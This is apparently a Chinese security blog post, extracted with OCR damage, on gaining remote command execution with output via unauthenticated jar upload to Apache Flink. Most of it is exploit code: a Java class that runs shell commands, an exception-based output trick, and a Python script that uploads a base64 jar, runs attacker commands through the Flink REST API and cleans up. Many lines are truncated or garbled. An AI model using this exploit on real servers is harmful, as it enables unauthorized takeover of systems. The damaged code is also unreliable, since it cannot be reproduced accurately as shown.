# flink jar 上传RCE回显

### 一、前言

flink 未授权上传Jar RCE遇到多次了,每次都以为漏洞不存在,就自己手动编译jar上传执行,没有回显,并且麻烦。用别人的exp也是同样问题,于是进行改造。

#### https://github.com/LandGrey/flink-unauth-rce

# 二、如何回显

```
echo 'UEsDBBQACAgIACJ1bU8AAAAAAAAAAAAAAAAAAAQATUVUQS1JTkYvTUFOSUZFU1QuTU
unzip test.jar
```

```
public class Execute {
   public static void main(String[] args) throws Exception {
       String o = "";
       String cmd = args[0];
       ProcessBuilder p;
       if (System.getProperty("os.name").toLowerCase().contains("win")) {
           p = new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd});
       } else {
           String pty = "/bin/sh";
           if ((new File( pathname: "/bin/bash")).exists()) {
               pty = "/bin/bash";
           p = new ProcessBuilder(new String[]{pty, "-c", cmd});
       Process s = p.start();
       Scanner c = (new Scanner(s.getInputStream())).useDelimiter( pattern: "\\A");
       o = c.hasNext() ? c.next() : o;
       System.out.print("|@|" + o + "|@|");
```

发现正常的System.out.print进行输出,但是目前已经无法输出结果

如果跟进过weblogic 回显连续剧的文章(weblogic\_2019\_2725poc与回显构造),这里我们是可以通过异常回显,因为这里打印了日志。

```
try {
    System.out.print("|@|" + var1 + "|@|");
    System.out.printlr (Integer.parseInt(so "|@|" + var1 + "|@|"));
} catch (Exception var7) {
    throw var7;
}
```

```
[^_^] [ w ] execute success, result:
08:46:06 up 22 days, 23:25, 0 user, load average: 0.01, 0.05, 0.01
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
```

#### $\equiv$ 、exp

```
1 #!/usr/bin/env python
# coding:utf-8
3 # Build By LandGrey
4 import io
5 import re
6 import sys
7 import time
8 import json
9 import base64
10 import argparse
11 import traceback
  import requests
14
   def check_jar_exsits(site, upload_jar_name):
       list_jar_url = "{}/jars/".format(site)
       response = requests.get(list_jar_url, headers=default_headers, verif
       if response.status_code == 200 and "application/json" in response.he
           try:
               r = json.loads(response.text)
               for upload_file in r['files']:
                   if str(upload_file['id']).endswith('{}'.format(upload_ja
                       return upload_file['id']
           except Exception as e:
               return False
       return False
   def upload_execute_jar(site, upload_jar_name):
       upload_jar_url = "{}/jars/upload".format(site)
       file_content = base64.b64decode('UEsDBAoAAAAAAAAT01gAAAAAAAAAAAAAAAAA
       files = {'jarfile': (upload_jar_name, io.BytesIO(file_content), 'app
           requests.post(upload_jar_url, headers=default_headers, files=fil
       except Exception as e:
           return False
       return True
   def delete_exists_jar(site, jar_hash_name):
       single_jar_url = "{}/jars/{}".format(site, jar_hash_name)
       try:
           response = requests.delete(single_jar_url, headers=default_heade
41
           if response.status_code == 200 and "application/json" in respons
               return True
43
       except Exception as e:
44
           return False
       return False
   def verify(site):
       jar_hash_name = check_jar_exsits(site, upload_jar_name)
```

```
if jar_hash_name:
        delete_exists_jar(site, jar_hash_name)
        return True
    else:
        upload_execute_jar(site, upload_jar_name)
        jar_hash_name = check_jar_exsits(site, upload_jar_name)
        delete_exists_jar(site, jar_hash_name)
        if jar_hash_name:
            return True
    return False
def exec_command(site, command):
    headers = {
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.3
        'Content-Type': 'application/json; charset=utf-8',
    }
    jar_hash_name = check_jar_exsits(site, upload_jar_name)
    data = r'{"entryClass":"org.example.Main","parallelism":null,"progra
    if jar_hash_name:
        execute_cmd_url = '{}/jars/{}/run?entry-class=org.example.Main&p
    else:
        upload_execute_jar(site, upload_jar_name)
        jar_hash_name = check_jar_exsits(site, upload_jar_name)
        if jar_hash_name:
            execute_cmd_url = '{}/jars/{}/run?entry-class=org.example.Ma
        else:
            return False
    try:
        r1 = requests.post(execute_cmd_url, headers=headers, data=data,
        match = re.findall('\|@\|(.*?)\|@\|', r1.text)
        if will_delete_jar:
            delete_exists_jar(site, jar_hash_name)
            return match[0][:-2] if match[0][:-2] else "[result is blank
    except requests.exceptions.ReadTimeout as e:
        return "[execute timeout]"
    return False
if __name__ == "__main__":
    start = time.time()
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", dest='url', default="http://127.0.0.1:8081
    parser.add_argument('-c', dest='command', default='', type=str, help
    parser.add_argument('--delete', dest='delete', default='', action="s
    parser.add_argument('--proxy', dest='proxy', default=None, type=str,
    if len(sys.argv) == 1:
        sys.argv.append('-h')
    args = parser.parse_args()
    url = args.url
    command = args.command
```

```
proxy = args.proxy
        will_delete_jar = args.delete
        target = url.rstrip('/')
        upload_jar_name = 'check-execute.jar'
        proxies = {'http': proxy, 'https': proxy}
        default_headers = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) Ap
        if "://" not in target:
            target = "http://" + target
        try:
            if command:
                r = exec_command(target, command)
                     print("[^_^] [ {} ] execute success, result:\n{}".format
                     print("[>_<] [ {} ] is not vulnerable".format(url))</pre>
114
            else:
                r = verify(target)
                if r:
                    print("[^_^] [ {} ] is vulnerable, testing upload jar su
                else:
                     print("[>_<] [ {} ] is not vulnerable".format(url))</pre>
        except Exception as e:
            print("[>_<] cannot rce!")</pre>
            print("[>_<] Error: \n")</pre>
            traceback.print_exc()
```

```
[^_^] [ w ] execute success, result:

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```

## 四、总结

这么久居然没人更新这个EXP,看得出来大家都很懒。